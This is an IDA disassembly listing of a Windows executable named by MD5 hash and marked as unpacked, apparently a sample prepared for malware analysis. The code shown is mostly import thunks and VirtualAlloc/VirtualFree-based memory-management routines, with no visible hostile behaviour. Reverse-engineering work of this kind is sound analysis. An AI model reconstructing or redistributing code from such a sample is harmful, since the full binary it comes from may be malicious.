;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	46868D185572E9C3DC663F962D4858EF

; File Name   :	u:\work\46868d185572e9c3dc663f962d4858ef_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
CODE		segment	para public 'DATA' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_402D70+39p
					; sub_402D70+54p
		jmp	ds:dword_4060C8
sub_401000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401008	proc near		; CODE XREF: sub_40276C+14p
					; sub_402788+16p ...
		jmp	ds:dword_4060C4
sub_401008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401010	proc near		; CODE XREF: sub_402BE4-2B6p
					; CODE:00402B3Cp
					; DATA XREF: ...
		jmp	ds:dword_4060C0
sub_401010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401018	proc near		; CODE XREF: sub_402BE4-31Ep
					; sub_402BE4-2E1p ...
		jmp	ds:dword_4060BC
sub_401018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_402D70+3Fp
					; sub_402D70+5Ap
		jmp	ds:dword_4060B8
sub_401020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402DFC+BAp
		jmp	ds:dword_4060B4
sub_401028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_402D70+78p
		jmp	ds:dword_4060D4
sub_401030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_402DFC+85p
		jmp	ds:dword_4060B0
sub_401038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401040	proc near		; CODE XREF: CODE:00403197p
		jmp	ds:dword_4060AC
sub_401040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: sub_403068+26p
		jmp	ds:dword_4060A8
sub_401048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_401088+Ap
		jmp	ds:dword_4060A4
sub_401050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401058	proc near		; CODE XREF: CODE:loc_4031D8p
					; CODE:loc_4031E9p
		jmp	ds:dword_4060A0
sub_401058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_402690+6Bp
		jmp	ds:dword_4060E4
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_402690+22p
		jmp	ds:dword_4060E0
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_402690+55p
		jmp	ds:dword_4060DC
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: CODE:loc_4031F8p
		jmp	ds:dword_40609C
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: CODE:004031ABp
					; CODE:004031BCp
		jmp	ds:dword_406098
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401088	proc near		; CODE XREF: CODE:004031A1p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_401050	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_4010A3
		movzx	ebx, [esp+48h+var_18]

loc_4010A3:				; CODE XREF: sub_401088+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_401088	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AC	proc near		; CODE XREF: sub_4010EC+13p
					; sub_401778+53p
		jmp	ds:dword_406094
sub_4010AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B4	proc near		; CODE XREF: sub_40183C+3Fp
					; sub_40183C+9Dp
		jmp	ds:dword_406090
sub_4010B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_401290+2Fp
					; sub_4012F4+1Ep ...
		jmp	ds:dword_40608C
sub_4010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_401290+56p
					; sub_4012F4+69p ...
		jmp	ds:dword_406088
sub_4010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401778+16p
		jmp	ds:dword_406084
sub_4010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401778+29p
					; sub_40183C+2Dp ...
		jmp	ds:dword_406080
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_401778+B0p
					; sub_40183C+C6p ...
		jmp	ds:dword_40607C
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_40183C+D0p
		jmp	ds:dword_406078
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010EC	proc near		; CODE XREF: sub_401144+6p
		push	ebx
		push	esi
		mov	esi, offset dword_4055D0
		cmp	dword ptr [esi], 0
		jnz	short loc_401132
		push	644h
		push	0
		call	sub_4010AC	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_40110F
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40110F:				; CODE XREF: sub_4010EC+1Cj
		mov	eax, ds:dword_4055CC
		mov	[ecx], eax
		mov	ds:dword_4055CC, ecx
		xor	edx, edx

loc_40111E:				; CODE XREF: sub_4010EC+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_40111E

loc_401132:				; CODE XREF: sub_4010EC+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40113C	proc near		; CODE XREF: sub_401778+33p
					; sub_401778+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_40113C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401144	proc near		; CODE XREF: sub_40118C+5Dp
					; sub_4011FC+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_4010EC
		test	eax, eax
		jnz	short loc_401158
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_401158:				; CODE XREF: sub_401144+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_401144	endp


; =============== S U B	R O U T	I N E =======================================



sub_401174	proc near		; CODE XREF: sub_40118C+2Cp
					; sub_40118C+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, ds:dword_4055D0
		mov	[eax], edx
		mov	ds:dword_4055D0, eax
		retn
sub_401174	endp


; =============== S U B	R O U T	I N E =======================================



sub_40118C	proc near		; CODE XREF: sub_401538+6Cp
					; sub_4015C8+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx

loc_4011A8:				; CODE XREF: sub_40118C+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_4011CA
		mov	eax, ebx
		call	sub_401174
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_4011DF
; ---------------------------------------------------------------------------

loc_4011CA:				; CODE XREF: sub_40118C+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_4011DF
		mov	eax, ebx
		call	sub_401174
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax

loc_4011DF:				; CODE XREF: sub_40118C+3Cj
					; sub_40118C+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_4011A8
		mov	edx, esi
		mov	eax, ebp
		call	sub_401144
		test	al, al
		jnz	short loc_4011F6
		xor	eax, eax
		mov	[esi], eax

loc_4011F6:				; CODE XREF: sub_40118C+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40118C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011FC	proc near		; CODE XREF: sub_4016EC+7Ap
					; sub_401AD4+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx

loc_401207:				; CODE XREF: sub_4011FC+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_401280
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_401280
		cmp	esi, eax
		jnz	short loc_40123D
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_40127C
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_40127C
; ---------------------------------------------------------------------------

loc_40123D:				; CODE XREF: sub_4011FC+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_401252
		sub	[ebx+0Ch], edi
		jmp	short loc_40127C
; ---------------------------------------------------------------------------

loc_401252:				; CODE XREF: sub_4011FC+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_401144
		test	al, al
		jnz	short loc_40127C
		xor	eax, eax
		jmp	short loc_401288
; ---------------------------------------------------------------------------

loc_40127C:				; CODE XREF: sub_4011FC+36j
					; sub_4011FC+3Fj ...
		mov	al, 1
		jmp	short loc_401288
; ---------------------------------------------------------------------------

loc_401280:				; CODE XREF: sub_4011FC+12j
					; sub_4011FC+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_401207
		xor	eax, eax

loc_401288:				; CODE XREF: sub_4011FC+7Ej
					; sub_4011FC+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4011FC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401290	proc near		; CODE XREF: sub_401538+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_4012A6
		mov	esi, 100000h
		jmp	short loc_4012B2
; ---------------------------------------------------------------------------

loc_4012A6:				; CODE XREF: sub_401290+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h

loc_4012B2:				; CODE XREF: sub_401290+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4012EF
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_401144
		test	al, al
		jnz	short loc_4012EF
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_4012EF:				; CODE XREF: sub_401290+3Aj
					; sub_401290+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401290	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4012F4	proc near		; CODE XREF: sub_4015C8+4Cp
					; sub_4015C8+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_40133E
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010BC	; VirtualAlloc
		mov	[ebx], eax

loc_40133E:				; CODE XREF: sub_4012F4+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_401366
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_401144
		test	al, al
		jnz	short loc_401366
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax

loc_401366:				; CODE XREF: sub_4012F4+4Dj
					; sub_4012F4+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40136C	proc near		; CODE XREF: sub_401538+7Ep
					; sub_4015C8+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, ds:dword_4055D4
		jmp	short loc_4013EC
; ---------------------------------------------------------------------------

loc_40139B:				; CODE XREF: sub_40136C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_4013EA
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_4013EA
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_4013B9
		mov	[esp+24h+var_1C], esi

loc_4013B9:				; CODE XREF: sub_40136C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_4013C8
		mov	[esp+24h+var_18], eax

loc_4013C8:				; CODE XREF: sub_40136C+56j
		push	8000h
		push	0
		push	esi
		call	sub_4010C4	; VirtualFree
		test	eax, eax
		jnz	short loc_4013E3
		mov	ds:dword_4055B0, 1

loc_4013E3:				; CODE XREF: sub_40136C+6Bj
		mov	eax, ebx
		call	sub_401174

loc_4013EA:				; CODE XREF: sub_40136C+36j
					; sub_40136C+41j
		mov	ebx, edi

loc_4013EC:				; CODE XREF: sub_40136C+2Dj
		cmp	ebx, offset dword_4055D4
		jnz	short loc_40139B
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_40141C
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax

loc_40141C:				; CODE XREF: sub_40136C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40136C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401424	proc near		; CODE XREF: sub_401538+2Dp
					; sub_4015C8+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, ds:dword_4055D4
		jmp	short loc_4014A6
; ---------------------------------------------------------------------------

loc_40146A:				; CODE XREF: sub_401424+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_401478
		mov	ebx, ebp

loc_401478:				; CODE XREF: sub_401424+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_401482
		mov	edi, [esp+1Ch+var_14]

loc_401482:				; CODE XREF: sub_401424+58j
		cmp	edi, ebx
		jbe	short loc_4014A4
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_4010BC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4014A4
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_4014AE
; ---------------------------------------------------------------------------

loc_4014A4:				; CODE XREF: sub_401424+60j
					; sub_401424+74j
		mov	esi, [esi]

loc_4014A6:				; CODE XREF: sub_401424+44j
		cmp	esi, offset dword_4055D4
		jnz	short loc_40146A

loc_4014AE:				; CODE XREF: sub_401424+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401424	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014B8	proc near		; CODE XREF: sub_4016EC+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, ds:dword_4055D4
		jmp	short loc_401527
; ---------------------------------------------------------------------------

loc_4014EF:				; CODE XREF: sub_4014B8+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_4014FF
		mov	ebx, [esp+14h+var_14]

loc_4014FF:				; CODE XREF: sub_4014B8+42j
		cmp	ebp, edi
		jnb	short loc_401505
		mov	edi, ebp

loc_401505:				; CODE XREF: sub_4014B8+49j
		cmp	edi, ebx
		jbe	short loc_401525
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_4010C4	; VirtualFree
		test	eax, eax
		jnz	short loc_401525
		mov	ds:dword_4055B0, 2

loc_401525:				; CODE XREF: sub_4014B8+4Fj
					; sub_4014B8+61j
		mov	esi, [esi]

loc_401527:				; CODE XREF: sub_4014B8+35j
		cmp	esi, offset dword_4055D4
		jnz	short loc_4014EF
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4014B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401538	proc near		; CODE XREF: sub_401CE4+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_401554:				; CODE XREF: sub_401538+75j
		mov	ebx, [ebp+0]
		jmp	short loc_40158C
; ---------------------------------------------------------------------------

loc_401559:				; CODE XREF: sub_401538+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_40158A
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_401424
		cmp	dword ptr [esi], 0
		jz	short loc_4015BF
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_4015BF
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------

loc_40158A:				; CODE XREF: sub_401538+24j
		mov	ebx, [ebx]

loc_40158C:				; CODE XREF: sub_401538+1Fj
		cmp	ebx, ebp
		jnz	short loc_401559
		mov	edx, esi
		mov	eax, edi
		call	sub_401290
		cmp	dword ptr [esi], 0
		jz	short loc_4015BF
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+18h+var_18], 0
		jnz	short loc_401554
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_40136C
		xor	eax, eax
		mov	[esi], eax

loc_4015BF:				; CODE XREF: sub_401538+35j
					; sub_401538+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401538	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_401D10+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h

loc_4015E7:				; CODE XREF: sub_4015C8+6Cj
					; sub_4015C8+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_4015EE
; ---------------------------------------------------------------------------

loc_4015EC:				; CODE XREF: sub_4015C8+2Dj
		mov	ebx, [ebx]

loc_4015EE:				; CODE XREF: sub_4015C8+22j
		cmp	ebx, ebp
		jz	short loc_4015F7
		cmp	esi, [ebx+8]
		jnz	short loc_4015EC

loc_4015F7:				; CODE XREF: sub_4015C8+28j
		cmp	esi, [ebx+8]
		jnz	short loc_401653
		cmp	edi, [ebx+0Ch]
		jle	loc_40169B
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_4012F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_401653
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+24h+var_18], 0
		jnz	short loc_4015E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_40136C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_4016E3
; ---------------------------------------------------------------------------

loc_401653:				; CODE XREF: sub_4015C8+32j
					; sub_4015C8+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_4012F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_40169B
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_40118C
		cmp	[esp+24h+var_18], 0
		jnz	loc_4015E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_40136C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_4016E3
; ---------------------------------------------------------------------------

loc_40169B:				; CODE XREF: sub_4015C8+37j
					; sub_4015C8+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_4016DC
		cmp	edi, [ebx+0Ch]
		jg	short loc_4016DC
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_401424
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_4016E3
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_4016E3
		mov	eax, ebx
		call	sub_401174
		jmp	short loc_4016E3
; ---------------------------------------------------------------------------

loc_4016DC:				; CODE XREF: sub_4015C8+D8j
					; sub_4015C8+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx

loc_4016E3:				; CODE XREF: sub_4015C8+86j
					; sub_4015C8+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4016EC	proc near		; CODE XREF: sub_401AD4+4Ep
					; sub_401AD4+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_40176D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_4014B8
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset dword_4055E4
		call	sub_40118C
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_401756
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_40136C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax

loc_401756:				; CODE XREF: sub_4016EC+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_401771
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset dword_4055E4
		call	sub_4011FC
		jmp	short loc_401771
; ---------------------------------------------------------------------------

loc_40176D:				; CODE XREF: sub_4016EC+24j
		xor	eax, eax
		mov	[edi], eax

loc_401771:				; CODE XREF: sub_4016EC+6Fj
					; sub_4016EC+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4016EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


